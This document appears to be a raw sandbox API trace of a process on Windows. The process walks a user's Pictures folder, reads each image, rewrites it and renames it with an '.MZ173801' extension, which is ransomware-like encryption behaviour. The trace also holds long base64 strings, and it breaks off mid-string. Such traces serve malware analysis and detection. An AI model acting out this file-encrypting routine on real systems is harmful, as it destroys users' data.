FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.906] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376b5b80, ftCreationTime.dwHighDateTime=0x1d5dff2, ftLastAccessTime.dwLowDateTime=0xc4043330, ftLastAccessTime.dwHighDateTime=0x1d5e2e7, ftLastWriteTime.dwLowDateTime=0x9a07a6c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1579c, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="GoJjuImO-mij2jXwB3iX.png.MZ173801", cAlternateFileName="GOJJUI~1.MZ1")) returned 1 [0122.906] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.906] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.906] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5ed5130, ftCreationTime.dwHighDateTime=0x1d5e352, ftLastAccessTime.dwLowDateTime=0xb556e7f0, ftLastAccessTime.dwHighDateTime=0x1d5e0bd, ftLastWriteTime.dwLowDateTime=0xb556e7f0, ftLastWriteTime.dwHighDateTime=0x1d5e0bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="Jhr4VFCMaTe9", cAlternateFileName="JHR4VF~1")) returned 1 [0122.906] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.906] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.906] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5ed5130, ftCreationTime.dwHighDateTime=0x1d5e352, ftLastAccessTime.dwLowDateTime=0xb556e7f0, ftLastAccessTime.dwHighDateTime=0x1d5e0bd, ftLastWriteTime.dwLowDateTime=0xb556e7f0, ftLastWriteTime.dwHighDateTime=0x1d5e0bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0122.906] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5ed5130, ftCreationTime.dwHighDateTime=0x1d5e352, ftLastAccessTime.dwLowDateTime=0xb556e7f0, ftLastAccessTime.dwHighDateTime=0x1d5e0bd, ftLastWriteTime.dwLowDateTime=0xb556e7f0, ftLastWriteTime.dwHighDateTime=0x1d5e0bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="..", cAlternateFileName="")) returned 1 [0122.906] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d5a39f0, ftCreationTime.dwHighDateTime=0x1d5d970, ftLastAccessTime.dwLowDateTime=0xe0e2baa0, ftLastAccessTime.dwHighDateTime=0x1d5d93f, ftLastWriteTime.dwLowDateTime=0xe0e2baa0, ftLastWriteTime.dwHighDateTime=0x1d5d93f, nFileSizeHigh=0x0, nFileSizeLow=0x12efe, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="3U4GKOu3Uky7Fn.jpg", cAlternateFileName="3U4GKO~1.JPG")) returned 1 [0122.906] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0122.906] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.906] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\3U4GKOu3Uky7Fn.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\3u4gkou3uky7fn.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d5a39f0, ftCreationTime.dwHighDateTime=0x1d5d970, ftLastAccessTime.dwLowDateTime=0xe0e2baa0, ftLastAccessTime.dwHighDateTime=0x1d5d93f, ftLastWriteTime.dwLowDateTime=0xe0e2baa0, ftLastWriteTime.dwHighDateTime=0x1d5d93f, nFileSizeHigh=0x0, nFileSizeLow=0x12efe)) returned 1 [0122.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.909] GetCurrentThreadId () returned 0x9fc [0122.909] GetCurrentThreadId () returned 0x9fc [0122.909] GetCurrentThreadId () returned 0x9fc [0122.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0122.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0122.910] GetCurrentThreadId () returned 0x9fc [0122.910] GetCurrentThreadId () returned 0x9fc [0122.910] GetCurrentThreadId () returned 0x9fc [0122.910] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\3U4GKOu3Uky7Fn.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\3u4gkou3uky7fn.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.910] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0122.910] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.911] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x12efe [0122.911] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.911] ReadFile (in: hFile=0x280, lpBuffer=0x714510, nNumberOfBytesToRead=0x12efe, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x12efe, lpOverlapped=0x0) returned 1 [0122.912] CloseHandle (hObject=0x280) returned 1 [0122.914] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\3U4GKOu3Uky7Fn.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\3u4gkou3uky7fn.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.915] WriteFile (in: hFile=0x280, lpBuffer=0x728540*, nNumberOfBytesToWrite=0x12efe, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x728540*, lpNumberOfBytesWritten=0x18f6d0*=0x12efe, lpOverlapped=0x0) returned 1 [0122.917] CloseHandle (hObject=0x280) returned 1 [0122.919] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\3U4GKOu3Uky7Fn.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\3u4gkou3uky7fn.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\3U4GKOu3Uky7Fn.jpg.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\3u4gkou3uky7fn.jpg.mz173801")) returned 1 [0122.920] GetCurrentThreadId () returned 0x9fc [0122.920] GetCurrentThreadId () returned 0x9fc [0122.920] GetCurrentThreadId () returned 0x9fc [0122.920] GetCurrentThreadId () returned 0x9fc [0122.920] GetCurrentThreadId () returned 0x9fc [0122.920] GetCurrentThreadId () returned 0x9fc [0122.920] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ecbe400, ftCreationTime.dwHighDateTime=0x1d5dc31, ftLastAccessTime.dwLowDateTime=0x7b469550, ftLastAccessTime.dwHighDateTime=0x1d5e52d, ftLastWriteTime.dwLowDateTime=0x7b469550, ftLastWriteTime.dwHighDateTime=0x1d5e52d, nFileSizeHigh=0x0, nFileSizeLow=0x3ce7, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="c4 27Qhg4nHWZH.gif", cAlternateFileName="C427QH~1.GIF")) returned 1 [0122.920] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.920] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.920] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\c4 27Qhg4nHWZH.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\c4 27qhg4nhwzh.gif"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ecbe400, ftCreationTime.dwHighDateTime=0x1d5dc31, ftLastAccessTime.dwLowDateTime=0x7b469550, ftLastAccessTime.dwHighDateTime=0x1d5e52d, ftLastWriteTime.dwLowDateTime=0x7b469550, ftLastWriteTime.dwHighDateTime=0x1d5e52d, nFileSizeHigh=0x0, nFileSizeLow=0x3ce7)) returned 1 [0122.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFF